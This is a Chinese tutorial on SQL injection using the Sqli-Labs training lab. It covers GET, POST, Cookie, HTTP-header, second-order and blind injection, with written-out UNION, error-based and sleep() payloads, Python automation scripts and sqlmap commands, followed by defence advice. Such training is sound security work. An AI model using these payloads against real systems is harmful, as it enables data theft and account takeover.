当前位置： 首页 > news >正文

SQL注入实战：从GET到Cookie的5种攻击场景与自动化脚本

news 2026/7/12 2:31:20

1. 项目概述：为什么从GET到Cookie的SQL注入实战如此重要？

如果你接触过Web安全，或者正在准备CTF比赛、安全工程师面试，那么“SQL注入”这个词你一定不陌生。但很多人对它的理解，可能还停留在“在登录框里输入‘ or ‘1’=’1”这种最基础的阶段。实际上，SQL注入的攻击面远比这广阔得多，它可能潜伏在任何一个与数据库交互的环节，尤其是那些容易被开发者忽略的“非主流”输入点。这就是为什么我决定用经典的Sqli-Labs靶场，带大家从最基础的GET请求注入开始，一路拆解到Cookie注入、User-Agent注入等5种典型场景。

Sqli-Labs是一个专门为学习和练习SQL注入技术而设计的开源靶场，它模拟了各种真实但存在漏洞的Web应用场景。通过它，你不仅能理解漏洞原理，更能亲手实践攻击与防御。本次实战的核心，就是跳出“只有搜索框和登录框才会被注入”的思维定式，系统地剖析SQL注入在不同HTTP请求组件中的表现形式、利用手法和自动化脚本编写思路。无论你是刚入门的安全爱好者，还是想巩固知识体系的安全从业者，这篇从原理到脚本的深度拆解，都能让你对SQL注入有一个更立体、更实战化的认识。

2. 靶场环境搭建与核心思路解析

2.1 Sqli-Labs靶场部署要点

工欲善其事，必先利其器。首先，我们需要一个可操作的实验环境。Sqli-Labs通常基于PHP+MySQL架构，推荐使用Docker或集成环境（如XAMPP、PHPStudy）进行一键部署。

以Docker为例，一个快速启动命令可能是：

docker pull acgpiano/sqli-labs docker run -dt --name sqli-labs -p 80:80 acgpiano/sqli-labs

部署完成后，访问http://localhost或你的服务器IP，按照页面提示点击“Setup/reset Database”链接初始化数据库。这个步骤至关重要，它会在数据库中创建漏洞所需的表结构和测试数据。

注意：在本地或授权的测试环境中进行所有操作。未经授权对任何线上系统进行测试都是非法且不道德的。

部署成功后，你会看到一系列标有数字的关卡（Lessons），这正是我们实战的舞台。每个关卡都代表一种特定类型的SQL注入漏洞。

2.2 本次实战的核心思路与攻击链拆解

本次实战的目标是覆盖SQL注入的5种典型请求场景：GET参数、POST参数、Cookie、HTTP头部（User-Agent/Referer）、以及二次注入。我们的思路不是盲目地尝试各种Payload，而是遵循一条清晰的攻击链：

  1. 信息收集与输入点探测：首先判断哪里存在与数据库的交互。是URL参数？表单提交？还是HTTP请求头？
  2. 注入点验证与类型判断：通过输入特殊字符（如单引号‘）观察页面回显、报错信息或响应时间的变化，确认是否存在注入点，并初步判断是数字型还是字符型注入。
  3. 数据库信息提取：利用联合查询（UNION SELECT）、报错注入（如extractvalue、updatexml）或布尔盲注/时间盲注等技术，逐步获取数据库名、表名、列名。
  4. 数据窃取与利用：最终目标是获取敏感数据，如用户名、密码、个人信息等。
  5. 自动化脚本编写：针对每种场景，尤其是盲注这类耗时的手工操作，编写Python脚本实现自动化探测与利用，提升效率。

理解这条攻击链，能帮助你在面对任何新场景时，都能有条不紊地进行分析和测试。

3. 场景一：GET请求参数注入——最经典的起点

GET注入是最常见、最直观的注入类型。参数直接暴露在URL中，例如?id=1。Sqli-Labs的前几关（如Less-1）就是对此的完美教学。

3.1 漏洞原理与手动利用

以Less-1为例，访问http://localhost/Less-1/?id=1会显示一个用户信息。我们的第一步永远是探测。将id参数改为id=1‘，如果页面返回数据库错误信息（如You have an error in your SQL syntax），那么几乎可以断定存在字符型注入漏洞，并且原SQL语句大概率为SELECT ... FROM ... WHERE id=‘$id‘ LIMIT ...。

接下来是判断字段数，这是使用UNION联合查询的前提。我们使用ORDER BY子句：

?id=1‘ order by 3--+ ?id=1‘ order by 4--+

当order by 4时报错，而order by 3正常，说明当前查询结果有3个字段。

然后进行联合查询，获取数据库信息：

?id=-1‘ union select 1,2,3--+

页面回显会告诉我们哪个位置可以显示查询结果（比如数字2和3的位置）。接着，我们就可以在这些位置替换为我们想查询的信息：

?id=-1‘ union select 1, database(), version()--+

这条Payload会分别显示当前数据库名和数据库版本。通过类似union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()的Payload，可以一步步爆出所有表名、列名，最终窃取数据。

实操心得：--+是SQL中的注释符（--加上一个空格），+在URL中代表空格。它的作用是注释掉原SQL语句中后续的部分，避免语法错误。有时也需要使用#（URL编码为%23）进行注释。

3.2 自动化脚本编写思路

对于GET注入，利用sqlmap这类工具可以快速自动化。但理解其原理后，我们自己也能写一个简单的探测脚本。脚本的核心逻辑是：构造包含Payload的URL，发送请求，然后根据响应内容（是否包含错误关键字、或响应时间差异）来判断注入是否成功。

例如，一个检测布尔盲注的脚本框架如下：

import requests def check_boolean_blind(url, param, payload_true, payload_false): """ 检测基于布尔值的盲注。 :param url: 目标URL :param param: 待测试的参数名 :param payload_true: 能使查询条件为真的Payload（如：1‘ and 1=1--+） :param payload_false: 能使查询条件为假的Payload（如：1‘ and 1=2--+） """ params_true = {param: payload_true} params_false = {param: payload_false} resp_true = requests.get(url, params=params_true).text resp_false = requests.get(url, params=params_false).text # 假设当条件为真时，页面会包含“Welcome”关键字，为假时不包含 if “Welcome” in resp_true and “Welcome” not in resp_false: print(f“[+] 参数 {param} 可能存在基于布尔的盲注漏洞”) else: print(f“[-] 参数 {param} 可能不存在漏洞或判断逻辑需要调整”)

这个脚本通过对比不同Payload下页面内容的差异来进行判断。在实际的盲注利用脚本中，你需要扩展这个逻辑，通过逐字符比较（substring或substr函数）来爆破出数据内容，这通常会涉及大量的请求和二分查找算法以提升效率。

4. 场景二：POST请求参数注入——表单背后的威胁

POST注入通常发生在登录、搜索、评论等表单提交场景。数据在请求体中传输，不可见，但威胁同样巨大。Sqli-Labs的Less-11就是一个典型的POST登录框注入。

4.1 手工测试与利用技巧

面对一个登录框，我们首先尝试经典Payload：在用户名处输入admin‘ --，密码任意。这试图将密码验证部分注释掉，原理是构造类似SELECT * FROM users WHERE username=‘admin‘ -- ‘ AND password=‘xxx‘的语句。

如果失败，则需要更系统地测试。使用Burp Suite拦截登录请求是更高效的方法。将拦截到的POST数据发送到Repeater模块，然后对uname和passwd参数进行系统性的注入测试，步骤与GET注入类似：验证注入点（加单引号）、判断类型、联合查询。

POST注入的一个常见难点是，页面成功与失败的差异可能不明显。这时需要仔细观察：是登录成功与失败的区别？还是返回的错误信息不同？甚至是HTTP响应状态码的差异？这些都可以作为我们判断注入是否成功的“标志”。

4.2 使用sqlmap进行POST注入测试

手工测试后，我们可以用sqlmap进行自动化验证和利用，这尤其适用于盲注。关键是指定POST数据：

sqlmap -u “http://localhost/Less-11/” --data=“uname=admin&passwd=test&submit=Submit” --level=2

--data参数用于指定POST请求体。--level参数提高测试等级，以检测更多类型的注入点。如果登录后存在Cookie等会话状态，可能还需要加上--cookie=“...”参数。

注意事项：对于POST注入，特别是登录框，高频的测试请求可能会触发账户锁定或IP封禁机制。在实战测试中，需要控制请求频率，或寻找测试账户。在Sqli-Labs这样的靶场中则无需担心。

5. 场景三：Cookie注入——被遗忘的角落

Cookie注入是很多开发者和初级安全测试人员容易忽略的点。应用程序有时会错误地将Cookie值（如用户ID、会话信息）直接拼接到SQL查询中，而未加过滤。Sqli-Labs的Less-20就是基于Cookie的注入。

5.1 漏洞原理与手工利用流程

访问Less-20，它是一个基于Cookie的登录后展示页面。首先，你需要正常登录（用户名：admin，密码：admin）。登录后，页面会设置一个名为uname的Cookie。

利用步骤如下：

  1. 拦截与修改：使用浏览器开发者工具或Burp Suite，找到包含unameCookie的请求（通常是刷新页面或跳转后的请求）。
  2. 验证注入点：修改uname的值为admin‘，发送请求。如果返回数据库错误，则证明存在Cookie注入。
  3. 实施注入：接下来的过程就和GET/POST注入一样了。例如，判断字段数：将Cookie改为uname=admin‘ order by 3--，然后进行联合查询：uname=-admin‘ union select 1,2,3--。

关键在于意识到，Cookie也是用户可控的输入源之一，其安全性应与GET/POST参数等同对待。

5.2 编写Cookie注入自动化脚本

编写Cookie注入脚本与GET/POST脚本的主要区别在于请求头的构造。我们需要在请求中携带修改后的Cookie。

import requests target_url = “http://localhost/Less-20/” session = requests.Session() # 1. 首先，可能需要先登录获取一个有效的会话Cookie（针对Less-20） login_data = {“uname”: “admin”, “passwd”: “admin”} resp_login = session.post(target_url, data=login_data) # 此时 session 会自动管理后续请求的Cookie # 2. 探测Cookie注入 def test_cookie_injection(cookie_name, payload): # 修改指定Cookie的值 session.cookies.set(cookie_name, payload) resp = session.get(target_url) return resp.text # 测试单引号，看是否报错 test_payload = “admin‘” response = test_cookie_injection(“uname”, test_payload) if “error” in response.lower() or “syntax” in response.lower(): print(“[+] 发现Cookie注入漏洞！”) # 后续可以在此函数基础上，扩展联合查询或盲注的自动化逻辑

这个脚本模拟了登录后修改Cookie进行测试的过程。在实际更复杂的盲注利用中，你需要根据页面响应内容（正确页面与错误页面的差异）来编写逐位提取数据的逻辑。

6. 场景四：HTTP头部注入（User-Agent/Referer）

这种注入更为隐蔽，它发生在Web应用程序记录客户端信息时，例如将用户的User-Agent或Referer头部值存入数据库。Sqli-Labs的Less-18和Less-19分别演示了这两种情况。

6.1 User-Agent注入实战（Less-18）

Less-18是一个登录成功后显示用户IP和User-Agent的页面。漏洞点在于，后台代码将登录成功的用户的User-Agent直接插入到了INSERT语句中。

手工利用步骤：

  1. 正常登录（admin/admin）。
  2. 登录成功后，页面显示你的User-Agent。使用Burp Suite拦截这个成功登录后的请求（或任何触发User-Agent记录的请求）。
  3. 在Burp Repeater中，修改User-Agent头部为注入Payload，例如：
    User-Agent: ‘, (‘admin‘), (‘admin‘), (‘1‘))-- -
    这个Payload试图闭合原INSERT语句，并插入一条新的用户数据。具体的Payload构造需要根据报错信息来调整，目标是搞清楚原SQL语句的字段数和类型。

利用难点：这类注入通常是“插入型”（INSERT），而非“查询型”（SELECT）。因此，联合查询（UNION）通常不适用。我们需要利用报错注入（如extractvalue(1, concat(0x7e, version()))）或“堆叠查询”（如果数据库支持，如MySQL的;）来获取信息。Less-18通常利用报错注入来提取数据。

6.2 Referer注入实战（Less-19）与自动化思考

Less-19与Less-18类似，只是注入点变成了Referer头部。测试和利用方法完全相同。

编写针对头部注入的自动化脚本，核心在于定制HTTP请求头。以User-Agent注入为例：

import requests url = “http://localhost/Less-18/” headers = { “User-Agent”: “Mozilla/5.0 ... ‘ and extractvalue(1, concat(0x7e, version())) and ‘1‘=‘1”, # 报错注入Payload “Accept”: “text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8”, “Cookie”: “...你的登录Cookie...” } resp = requests.post(url, headers=headers) # 分析响应，提取报错信息中的版本号 if “XPATH” in resp.text: # MySQL报错注入的典型错误信息开头 # 使用正则表达式从错误信息中提取 version() 的内容 import re match = re.search(r“~([^~]+)”, resp.text) if match: print(f“[+] 数据库版本: {match.group(1)}”)

自动化脚本的关键在于解析数据库的报错回显。不同的数据库（MySQL, PostgreSQL, SQL Server）报错格式不同，需要编写相应的正则表达式来提取我们注入的数据。

7. 场景五：二次注入——潜伏的“定时炸弹”

二次注入是一种更巧妙、也更危险的注入类型。攻击者将恶意Payload存入数据库（第一次入库时，数据可能被转义或处理，看起来是安全的），之后当应用程序从数据库中取出这些数据，并再次用于SQL查询时（第二次使用），触发注入。Sqli-Labs的Less-24模拟了这种场景。

7.1 漏洞原理深度解析

假设一个用户注册功能，对用户名做了转义处理，防止了即时注入。注册用户名为admin‘#。转义后，单引号被转义为\'，因此存入数据库的名字是admin‘#（字面值，带有一个反斜杠和单引号，在查询中不会被解释为特殊字符）。

之后，应用程序提供了一个“修改密码”功能。其SQL语句可能是：

UPDATE users SET password=‘$new_pass‘ WHERE username=‘$username‘ AND password=‘$curr_pass‘

当用户admin‘#请求修改密码时，从数据库中取出的用户名$username就是admin‘#。拼接后的SQL语句变为：

UPDATE users SET password=‘newpassword‘ WHERE username=‘admin‘#‘ AND password=‘currentpassword‘

由于#是注释符，它注释掉了后面的所有内容。这条语句的实际效果变成了：

UPDATE users SET password=‘newpassword‘ WHERE username=‘admin‘

结果：攻击者成功修改了admin用户的密码，而非自己的密码。

7.2 手工复现与防御思考

在Less-24中，你可以按照以下步骤复现：

  1. 注册一个新用户，用户名为admin‘#，密码任意（如attack）。
  2. 用新用户admin‘#登录。
  3. 进入修改密码页面，输入旧密码（attack）和新密码（如hacked）。
  4. 提交后，你会发现admin用户的密码被修改为了hacked，而admin‘#用户的密码保持不变。

防御之道：二次注入的根源在于“数据在不同语境下的信任问题”。防御措施包括：

  • 始终使用参数化查询（预编译语句）：这是根治所有SQL注入的银弹。确保数据在任何时候都作为参数传递，而非SQL语句的一部分。
  • 对从数据库取出的数据再次进行校验：特别是当这些数据要重新拼接进SQL语句时。不要盲目信任数据库里的数据就是“干净”的。
  • 最小权限原则：数据库连接账户不应拥有过高权限（如DROP、UPDATE关键表），以限制漏洞被利用后的影响范围。

8. 盲注：当没有错误回显时

在上述场景中，我们很多时候依赖数据库的错误回显。但如果应用程序屏蔽了错误信息，无论注入成功与否，都返回相同的通用页面（如“404 Not Found”或一个空白页），这就是盲注（Blind SQL Injection）。盲注又分为基于布尔（Boolean）和基于时间（Time-based）两种。

8.1 布尔盲注实战技巧

布尔盲注的页面会有两种状态，但区别很细微。例如，注入and 1=1时页面正常显示，注入and 1=2时页面内容缺失或略有不同（比如缺少某个HTML元素）。

利用方式是通过substr()或mid()函数，结合ascii()函数，逐字符猜测数据。例如，猜测数据库名的第一个字符：

?id=1‘ and ascii(substr(database(),1,1))>100--+

如果页面返回“正常”状态，说明ASCII码大于100；如果返回“异常”状态，说明小于等于100。通过二分查找法，可以快速确定该字符的ASCII码，进而推出字符。整个过程需要大量的请求和逻辑判断。

8.2 时间盲注与自动化脚本核心

时间盲注则更隐蔽，页面状态完全不变。我们通过让数据库执行睡眠函数来制造时间差，以此判断注入条件是否成立。在MySQL中，常用sleep()函数。

?id=1‘ and if(ascii(substr(database(),1,1))>100, sleep(5), 0)--+

如果页面响应延迟了大约5秒，说明第一个字符的ASCII码大于100；如果立即返回，则说明小于等于100。

编写时间盲注脚本的核心是精确测量响应时间。下面是一个时间盲注自动化探测脚本的简化框架：

import requests import time def time_based_test(url, param, payload): """ 发送一个可能引发时间延迟的Payload，并测量响应时间。 """ start_time = time.time() try: # 设置一个合理的超时时间，比如10秒 resp = requests.get(url, params={param: payload}, timeout=10) except requests.exceptions.Timeout: print(“请求超时，可能是sleep函数生效”) return True elapsed_time = time.time() - start_time return elapsed_time > 5 # 假设我们定义的延迟阈值为5秒 target = “http://localhost/Less-9/?id=1” # 测试时间盲注漏洞 test_payload = “‘ and sleep(5)--+” if time_based_test(target, “id”, test_payload): print(“[+] 存在基于时间的盲注漏洞”) # 后续可以在此处扩展，编写逐字符爆破数据库名的循环逻辑 else: print(“[-] 未发现明显时间延迟”)

在实际的利用脚本中，你需要嵌套循环：外层循环遍历数据（如数据库名）的每个字符位置，内层循环使用二分查找法猜测该位置的字符ASCII码值，每次猜测都通过if(ascii(substr(...))>mid, sleep(5), 0)这样的Payload来观察延迟，从而确定字符。这个过程非常耗时，但完全可以通过脚本自动化。

9. 防御策略与安全开发建议

在实战了各种攻击手法后，我们必须回过头来思考如何防御。以下是一些根本性的防御措施：

  1. 使用参数化查询（预编译语句）：这是最重要、最有效的手段。无论是使用PDO（PHP）、PreparedStatement（Java）、sqlite3（Python）还是其他语言的数据库接口，确保用户输入始终作为参数传递，而不是SQL字符串的一部分。

    // PHP PDO 示例 $stmt = $pdo->prepare(‘SELECT * FROM users WHERE email = :email AND status=:status’); $stmt->execute([‘email’ => $email, ‘status’ => $status]);

  2. 实施最小权限原则：为Web应用程序配置数据库连接账户时，只授予其必要的最小权限（通常是SELECT、INSERT、UPDATE、DELETE特定表）。避免使用root或拥有DROP、CREATE等高危权限的账户。

  3. 输入验证与过滤：在参数化查询的基础上，增加一层业务逻辑的输入验证。例如，对于ID参数，验证其是否为整数。对于字符串，定义允许的字符集白名单。但请注意，过滤不能替代参数化查询，只能作为辅助。

  4. 避免动态拼接SQL：严禁在代码中通过字符串拼接的方式构造SQL语句。这是万恶之源。

  5. 安全的错误处理：在生产环境中，禁止向用户显示详细的数据库错误信息。应使用自定义的错误页面，并将详细错误记录到服务器日志中供管理员查看。

  6. 使用Web应用防火墙（WAF）：WAF可以帮助过滤常见的恶意SQL注入Payload，作为一道额外的防线。但它不能修复应用本身的漏洞，应视为缓解措施而非解决方案。

  7. 定期安全审计与渗透测试：对代码进行安全审查，并定期进行渗透测试，主动发现潜在漏洞。

10. 总结与进阶资源

通过Sqli-Labs这五个典型场景的实战，我们从最直观的GET注入，深入到Cookie、HTTP头部这些容易被忽视的角落，最后探讨了潜伏性更强的二次注入和对抗性更强的盲注。这个过程清晰地展示了SQL注入的多样性和渗透测试工程师所需的细致思维。

手工测试能帮你深刻理解原理，而自动化脚本（无论是自己编写还是使用sqlmap）则是提升效率、应对复杂场景（如盲注）的必备技能。记住，工具永远替代不了思考。理解每一次Payload构造背后的SQL语法逻辑，理解每一种注入场景的上下文，才是你真正提升的关键。

对于希望进一步深入的同学，我建议：

  • 通关Sqli-Labs所有关卡：尤其是后面的挑战关卡，它们融合了多种过滤和绕过技巧。
  • 研究其他知名靶场：如DVWA（Damn Vulnerable Web Application）、WebGoat、PentesterLab等，它们提供了更全面的Web漏洞学习环境。
  • 阅读安全社区文章：关注SQL注入的新型绕过技巧（如绕过WAF、非常规编码等）。
  • 参与CTF比赛：线上CTF平台（如CTFHub、攻防世界）有大量高质量的SQL注入实战题目。

最后，务必牢记：所有技术都应在合法、授权的范围内使用。将这些知识用于加固你开发或维护的系统，才是它们最大的价值所在。安全之路，道阻且长，但每一次对漏洞原理的深刻理解，都让你和你的系统变得更强大。

http://www.jsqmd.com/news/1171188/

相关文章：

  • 【司法科技白皮书级干货】：ChatGPT法律意见框架的6维合规性评估矩阵（含《人工智能司法应用暂行规定》逐条映射）
  • Qt 6.2 程序打包实战：windeployqt 依赖分析与 Enigma Virtual Box 文件精简 5 要点
  • 2026年7月最新厦门天梭官方售后客服服务电话及地址网点大全 - 天梭服务中心
  • 2026年07月污水处理行业水处理药剂供应商实力解析与选型指南 - 甄选服务推荐
  • 雷达表保养怎么收费详细费用及保养指南权威公示（2026年7月最新） - 亨得利钟表维修中心
  • 实时AI音乐生成系统M.O.S.架构解析与低延迟优化实践
  • 2026年7月最新扬州芝柏官方售后维修服务网点地址与客服电话 - 亨得利官方服务中心
  • Windows 防火墙出站白名单：PowerShell 脚本 3 步实现 IP 段自动计算与规则部署
  • 一分钟大白话 | 带你拿捏AI微调，跑通2026企业落地（小白必看，建议收藏）
  • 锂离子电池组电压平衡方案：MCP3202与PIC18LF4620应用
  • 动态规划背包问题 3 大核心变种（01/完全/多重）状态转移方程与遍历顺序深度解析
  • 为什么92.3%的运营用错ChatGPT写详情页？——3年247个电商案例验证的5层语义校准法（含Prompt工程模板库）
  • 2026年工厂吸尘器品牌推荐，看看有没有你心仪的？ - 品牌排行榜
  • 基于Bluetooth 5.4与Kinetis MCU的高保真无线音频系统设计
  • [具身智能-571]：具身智能边缘计算平台的本质是USB接口配置了额外眼、脚、手的Linux主机（CPU + GPU) 吗?
  • Windows MMC崩溃原因分析与快速恢复方案：运维实战指南
  • 2026工业智能体落地服务商选型参考盘点｜制造业数字化落地深度评测指南 - 互联网科技品牌测评
  • 3步解锁IDM完整功能：开源激活脚本的技术解析与实践指南
  • Zotero 7.0 插件生态实战：3款必备插件提升文献管理效率 200%
  • PyCharm 2024.3 汉化插件安装：3步完成界面切换，避免手动替换文件风险
  • OpenCV calibrateHandEye 实战：眼在手上/手外 2种场景标定误差对比分析
  • Z变换初值与终值定理：3个典型应用场景与2个常见误区解析
  • PyInstaller Spec 文件 5 大高级配置：UPX压缩、图标设置与隐藏控制台
  • 长沙理迅事务所整体服务究竟如何？ - 品牌排行榜
  • VC++ 2005-2022 运行库全版本解析：从 msvcp140.dll 到 vcomp110.dll 的版本映射表
  • 深度学习实战：CNN、RNN、Transformer、GAN八大模型从入门到项目落地
  • 百达翡丽中国官方售后服务中心｜地址与官方服务热线权威信息声明（2026年7月最新） - 百达翡丽服务中心
  • 个人APP上架ICP备案2024：阿里云3步实操，22个工作日内拿号
  • GEO优化能提升品牌知名度吗？
  • ASR 训练数据标注：从 10 条典型错误案例解析文本与标签一致性